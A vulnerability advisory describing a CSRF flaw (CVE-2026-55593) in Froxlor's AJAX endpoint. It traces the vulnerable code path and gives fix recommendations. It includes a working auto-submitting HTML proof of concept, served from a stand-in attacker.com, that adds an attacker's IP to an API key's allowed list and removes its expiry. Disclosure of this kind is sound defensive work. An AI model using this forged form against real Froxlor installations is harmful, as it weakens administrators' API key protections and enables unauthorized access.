CVE-2026-55593: Froxlor: CSRF Vulnerability in Froxlor AJAX Endpoint — Missing Cross-Site Request Forgery Protection

Published Aug 18, 2026
·
Updated

Summary

The Froxlor AJAX endpoint (lib/ajax.php) is missing Cross-Site Request Forgery (CSRF) protection. While the main application (lib/init.php) enforces CSRF token validation on all state-changing HTTP requests (POST/PUT/PATCH/DELETE), the standalone lib/ajax.php endpoint bypasses this mechanism entirely, validating only the user's session. An attacker can craft a malicious webpage that, when visited by an authenticated Froxlor administrator, silently modifies API key properties (e.g., adding the attacker's IP to the allowedfrom whitelist or extending the validuntil expiration).

---

Affected Component

- File: lib/ajax.php — the AJAX endpoint entry point (bypasses lib/init.php) - File: lib/Froxlor/Ajax/Ajax.php:66-92 — Ajax::handle() (no CSRF check before routing) - File: lib/Froxlor/Ajax/Ajax.php:257-315 — Ajax::editApiKey() (writes to database without CSRF check) - Version: Froxlor 2.3.7 (likely all prior 2.x versions)

---

Complete Call Chain: Entry Point → Vulnerable Code

Step 1: Entry Point — lib/ajax.php (standalone bootstrap, bypasses lib/init.php)

php // lib/ajax.php:26-47 namespace Froxlor;

use Froxlor\Ajax\Ajax;

requireonce dirname(DIR) . '/vendor/autoload.php'; requireonce dirname(DIR) . '/lib/userdata.inc.php'; requireonce dirname(DIR) . '/lib/functions.php'; requireonce dirname(DIR) . '/lib/tables.inc.php';

// CRITICAL: This file does NOT include lib/init.php // Therefore: NO CSRF token is checked before processing the request echo (new Ajax)->handle();

Contrast with normal flow: All admin/customer pages (e.g., admincustomers.php, customerdomains.php) do: php const AREA = 'admin'; require DIR . '/lib/init.php'; // <-- This enforces CSRF at lines 363-369

Step 2: Ajax Constructor — Session Created, No CSRF Check

php // lib/Froxlor/Ajax/Ajax.php:54-61 public function construct() { $this->action = Request::any('action'); // <-- User-controlled from GET/POST $this->theme = Request::any('theme', 'Froxlor');

UI::sendHeaders(); // Starts session, sets security headers UI::sendSslHeaders(); // HSTS headers // MISSING: CSRF token validation on POST/PUT/PATCH/DELETE }

Step 3: Ajax::handle() — Session Validation Only, Routes to Action

php // lib/Froxlor/Ajax/Ajax.php:66-92 public function handle() { $this->userinfo = $this->getValidatedSession(); // Only checks: isset($SESSION['userinfo']) // MISSING: CSRF token validation before routing // Comparison: init.php lines 363-369 WOULD check here: // if (inarray($SERVER['REQUESTMETHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) { // $currenttoken = Request::post('csrftoken', ...); // if ($currenttoken != CurrentUser::getField('csrftoken')) { ERROR; } // }

switch ($this->action) { case 'editapikey': return $this->editApiKey(); // <-- State-changing operation, no CSRF guard case 'updatetablelisting': return $this->updateTablelisting(); // <-- Also POST, also no CSRF // ... other cases } }

Step 4: getValidatedSession() — Only Checks Session Exists

php // lib/Froxlor/Ajax/Ajax.php:97-103 private function getValidatedSession(): array { if (CurrentUser::hasSession() == false) { throw new Exception("No valid session"); } return CurrentUser::getData(); // hasSession() implementation (CurrentUser.php:47-50): // return !empty($SESSION) && !empty($SESSION['userinfo']); // This ONLY verifies a session exists. // It does NOT verify the request origin or CSRF token. }

Step 5: editApiKey() — Database Mutation Without Origin Validation

php // lib/Froxlor/Ajax/Ajax.php:257-315 private function editApiKey() { // All three parameters come from attacker-controlled POST body: $keyid = Request::post('id', 0); // Source: $POST['id'] $allowedfrom = Request::post('allowedfrom', ""); // Source: $POST['allowedfrom'] $validuntil = Request::post('validuntil', ""); // Source: $POST['validuntil']

// ... IP format validation (not security-relevant for CSRF) ...

// SINK: Direct database mutation $updstmt = Database::prepare(" UPDATE apikeys SET validuntil = :vu, allowedfrom = :af WHERE id = :keyid AND adminid = :aid AND customerid = :cid "); Database::pexecute($updstmt, [ 'keyid' => $keyid, 'af' => $allowedfrom, // Attacker's IP written here 'vu' => $validuntildb, // -1 = never expires 'aid' => $this->userinfo['adminid'], 'cid' => $cid ]); return $this->jsonResponse(['allowedfrom' => $allowedfrom, 'validuntil' => $validuntil]); }

Step 6: Evidence from Legitimate Frontend — No CSRF Token Sent Even in Normal Usage

javascript // templates/Froxlor/assets/js/jquery/apikeys.js:9-17 // Even the legitimate frontend does NOT send a csrftoken: $.ajax({ url: "lib/ajax.php?action=editapikey", type: "POST", dataType: "json", data: { id: akid, allowedfrom: this.val(), validuntil: $('div[data-entry="' + akid + '"] #validuntil').val() // NOTE: No csrftoken field here — the backend doesn't require it }, // ... });

This confirms: the backend does not validate CSRF tokens, so the frontend code does not bother sending one.

---

CSRF Protection Gap: Side-by-Side Comparison

| Aspect | lib/init.php (Normal Pages) | lib/ajax.php (AJAX Endpoint) | |--------|------------------------------|-------------------------------| | Includes init.php | Yes (all admin.php, customer.php) | No — standalone bootstrap | | Session validation | ✅ CurrentUser::hasSession() | ✅ CurrentUser::hasSession() | | CSRF token generation | ✅ Froxlor::genSessionId(20) | ❌ Not generated | | CSRF token check (POST/PUT/PATCH/DELETE) | ✅ Lines 363-369 | ❌ Missing entirely | | Rate limiting | ✅ RateLimiter::run() | ❌ Not called | | Area enforcement | ✅ Admin/Customer area check | ❌ Not enforced |

---

Vulnerability Verification

Attack Path (Complete)

[Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html

<form id="csrf" action="https://froxlor.example.com/lib/ajax.php?action=editapikey" method="POST"> <input type="hidden" name="id" value="1"> <input type="hidden" name="allowedfrom" value="ATTACKERIP"> <input type="hidden" name="validuntil" value="-1"> </form> <script>document.getElementById('csrf').submit();</script>

│ ▼ [Victim] Froxlor administrator browses to https://attacker.com/csrf.html - Victim has an active session at https://froxlor.example.com - Session cookie: PHPSESSID=<valid>, SameSite=Lax │ ▼ [Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey - Cookie behavior depends on SameSite policy (see below) │ ▼ [Server: lib/ajax.php] → require userdata.inc.php, functions.php, tables.inc.php → (new Ajax)->handle() │ ▼ [Server: Ajax::construct()] (Ajax.php:54-61) → $this->action = 'editapikey' (from GET query string) → UI::sendHeaders() → sessionstart() → NO CSRF CHECK │ ▼ [Server: Ajax::handle()] (Ajax.php:66-68) → getValidatedSession() → CurrentUser::hasSession() → TRUE (session cookie was sent with request) → NO CSRF CHECK before routing │ ▼ [Server: Ajax::editApiKey()] (Ajax.php:257-315) → $keyid = 1 (from POST) → $allowedfrom = 'ATTACKERIP' (from POST) → $validuntildb = -1 (from POST, parsed) → UPDATE apikeys SET allowedfrom='ATTACKERIP', validuntil=-1 WHERE id=1 │ ▼ [Impact] API key #1 now allows connections from ATTACKERIP, never expires

SameSite=Lax Analysis

Froxlor sets session cookie with SameSite=Lax (UI.php:124):

php // lib/Froxlor/UI/Panel/UI.php:118-125 sessionsetcookieparams([ 'path' => '/', 'domain' => self::getCookieHost(), 'secure' => self::requestIsHttps(), // FALSE on HTTP deployments 'httponly' => true, 'samesite' => 'Lax' ]); sessionstart();

Why SameSite=Lax is NOT a complete mitigation:

1. HTTP deployments: When requestIsHttps() returns false (plain HTTP), the secure flag is false. Many browsers (particularly older Safari and Firefox) require Secure for strict SameSite enforcement. Froxlor's own documentation supports HTTP deployment for internal networks, making this a realistic scenario.

2. Safari browser: Safari's SameSite implementation has known inconsistencies. Safari 13-15 on iOS/macOS may not enforce SameSite=Lax on POST requests as strictly as Chrome.

3. Same-site subdomain attacks: If an attacker compromises a subdomain of the same registrable domain (e.g., via DNS rebinding or subdomain takeover), SameSite=Lax provides zero protection — cookies are sent freely.

4. Defense-in-depth failure: CSRF tokens are the primary, proven defense against CSRF. SameSite cookies are a secondary defense. The absence of the primary defense leaves the application vulnerable whenever the secondary defense fails (browser bugs, HTTP deployments, subdomain attacks).

Confirmed Vulnerable Actions in Ajax::handle()

All POST-based actions in the switch statement lack CSRF protection:

| Action | Method | State Change | Risk | |--------|--------|-------------|------| | editapikey | POST | UPDATE apikeys SET allowedfrom, validuntil | HIGH | | updatetablelisting | POST | UPDATE panelusercolumns (user preferences) | Low | | getConfigDetails | POST | Read-only (config parsing) | None |

---

Impact

- Confidentiality: None — the attacker cannot directly read data through this CSRF vector - Integrity: Medium — API key properties (allowedfrom, validuntil) can be modified to add the attacker's IP to the whitelist and extend validity indefinitely. This is a stepping stone to API access (combined with another attack to obtain the API secret, such as VULN-20260526-001 plaintext secret storage). - Availability: Low — the attacker could set validuntil to a past timestamp, disabling the API key

Worst-case scenario: An administrator-level API key has its allowedfrom expanded to include the attacker's IP and its validuntil set to -1 (never expires). If the attacker later obtains the plaintext API secret (e.g., via database backup exposure — see VULN-20260526-001), they gain persistent, unauthorized API access with administrator privileges.

---

Proof of Concept

PoC HTML File

html <!-- csrfpoc.html --> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CSRF PoC - Froxlor AJAX Endpoint</title> </head> <body> <h1>Cross-Site Request Forgery Proof of Concept</h1> <p>Target: Froxlor AJAX endpoint (lib/ajax.php?action=editapikey)</p> <p>If you see this page, the form has auto-submitted.</p>

<!-- This form auto-submits to modify API key properties --> <form id="csrf-form" action="http://froxlor.example.com/lib/ajax.php?action=editapikey" method="POST"> <input type="hidden" name="id" value="1"> <input type="hidden" name="allowedfrom" value="10.99.99.99"> <input type="hidden" name="validuntil" value=""> <!-- empty validuntil = -1 (never expires) --> </form>

<script> // Auto-submit on page load document.addEventListener('DOMContentLoaded', function() { document.getElementById('csrf-form').submit(); }); </script> </body> </html>

Reproduction Steps

1. Setup: - Deploy Froxlor 2.3.7 on a test server (e.g., http://192.168.1.100/) - Create an administrator account and log in - Create at least one API key (Settings → API Keys)

2. Prepare PoC: - Host the PoC HTML file on a different origin (e.g., http://attacker.local/csrfpoc.html) - Note the Froxlor server is on http:// (not HTTPS, common for internal deployments)

3. Execute: - Ensure the Froxlor administrator has an active session - Open the PoC HTML file in the same browser (different tab) - The form auto-submits

4. Verify: - Check the API key in the Froxlor admin panel - The allowedfrom field now contains 10.99.99.99 - The validuntil field shows no expiration - Or verify directly: SELECT id, allowedfrom, validuntil FROM apikeys WHERE id=1;

Expected Result

Before attack: id | allowedfrom | validuntil 1 | | 1735689600

After attack: id | allowedfrom | validuntil 1 | 10.99.99.99 | -1

---

Root Cause

The lib/ajax.php endpoint was implemented as a completely standalone entry point that initializes its own minimal environment. It does not include lib/init.php, which provides centralized security controls (CSRF validation, rate limiting, area enforcement) for all standard admin and customer pages.

Architecturally, there are two security enforcement paths: 1. Normal pages: admin.php → require lib/init.php → CSRF check ✅ 2. AJAX endpoint: lib/ajax.php → new Ajax()->handle() → CSRF check ❌

The Ajax class performs its own session validation (getValidatedSession()) but omits CSRF token verification entirely. The legitimate frontend JavaScript code (apikeys.js) also does not send a CSRF token because the backend does not require one.

---

Fix Recommendation

Option A (Recommended): Route AJAX Through init.php

Refactor lib/ajax.php to use the standard bootstrap, ensuring all security controls apply uniformly:

php // lib/ajax.php — Refactored const AREA = 'ajax'; require DIR . '/init.php';

use Froxlor\Ajax\Ajax;

try { echo (new Ajax)->handle(); } catch (Exception $e) { header("Content-Type: application/json"); echo \Froxlor\Api\Response::jsonErrorResponse($e->getMessage(), 500); }

Pros: All security controls (CSRF, rate limiting, session management, area enforcement) apply uniformly. No code duplication. Cons: Requires frontend changes to include CSRF token in AJAX requests.

Option B (Minimal): Add CSRF Check to Ajax Class

Add CSRF token validation directly in the Ajax class:

diff // lib/Froxlor/Ajax/Ajax.php

public function handle() { $this->userinfo = $this->getValidatedSession();

+ // CSRF Protection — mirror init.php:363-369 + if (inarray($SERVER['REQUESTMETHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) { + $tokenfromrequest = Request::post('csrftoken', + $SERVER['HTTPXCSRFTOKEN'] ?? null); + $storedtoken = $this->userinfo['csrftoken'] ?? ''; + if (empty($tokenfromrequest) || !hashequals($storedtoken, $tokenfromrequest)) { + return $this->errorResponse('CSRF validation failed', 403); + } + }

switch ($this->action) { // ... existing cases unchanged } }

Frontend changes required (for both options):

diff // templates/Froxlor/assets/js/jquery/apikeys.js $.ajax({ url: "lib/ajax.php?action=editapikey", type: "POST", dataType: "json", data: { id: akid, allowedfrom: this.val(), validuntil: $('div[data-entry="' + akid + '"] #validuntil').val(), + csrftoken: $('meta[name="csrf-token"]').attr('content') }, // ... });

CSRF Token Available in Twig Templates

The CSRF token is already available as a Twig global variable ({{ csrftoken }}) set in init.php:361. Templates can expose it via:

html <meta name="csrf-token" content="{{ csrftoken }}">

---

Other sources

Froxlor is open source server administration software. Prior to 2.3.8, the standalone lib/ajax.php entry point bypasses the centralized request validation in lib/init.php, and Ajax::handle in lib/Froxlor/Ajax/Ajax.php checks only for a valid session before routing state-changing requests. The editapikey action in Ajax::editApiKey updates allowedfrom and validuntil without validating a CSRF token, while templates/Froxlor/assets/js/jquery/apikeys.js sends no token because the endpoint does not require one. An unauthenticated attacker can induce an authenticated administrator's browser to submit a forged request that adds an attacker-controlled address to an API key's allowedfrom list or removes its expiration, weakening the key's security restrictions. This issue is fixed in version 2.3.8.

MITRE

Affected Software

2 affected componentsFixes available
Froxlor Froxlor<2.3.8
composer/froxlor/froxlor<=2.3.7
2.3.8

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/froxlor/froxlor to a version that resolves this vulnerability.

    Fixed in 2.3.8
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.3.8
  3. Configuration

    Refactor/replace the standalone bootstrap in lib/ajax.php so it uses the standard initialization path that enforces CSRF validation (init.php lines 363-369) and the other security controls, rather than bypassing lib/init.php.

    Froxlor AJAX endpoint (lib/ajax.php → Froxlor\Ajax\Ajax) Use standard bootstrap (require lib/init.php) instead of standalone entry point = enabled
  4. Configuration

    Add CSRF token verification in the Ajax class (before routing switch cases such as editapikey) for methods in ['POST','PUT','PATCH','DELETE'], mirroring the centralized CSRF check behavior present in lib/init.php:363-369.

    Froxlor\Ajax\Ajax::handle() (lib/Froxlor/Ajax/Ajax.php) CSRF token validation before routing state-changing actions = required for POST/PUT/PATCH/DELETE

Event History

Aug 18, 2026
CVE Published
via MITRE·08:18 PM
Data Sourced
via MITRE·08:18 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·08:48 PM
Data Sourced
via GitHub·08:48 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed and what does exploitation require?

Froxlor installations prior to version 2.3.8 are affected when an authenticated administrator has a valid session and can be induced to load or submit an attacker-controlled request. The attacker does not need credentials, but exploitation requires administrator interaction in a browser.

2

What security impact can a successful forged request have?

The vulnerable AJAX endpoint accepts state-changing requests based only on a valid session. An attacker can alter an API key's allowed_from restriction to include an attacker-controlled address or remove the key's expiration date.

3

What is the available remediation?

Upgrade Froxlor to version 2.3.8, which fixes the issue. The provided information does not specify an alternative mitigation for installations that cannot be upgraded immediately.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203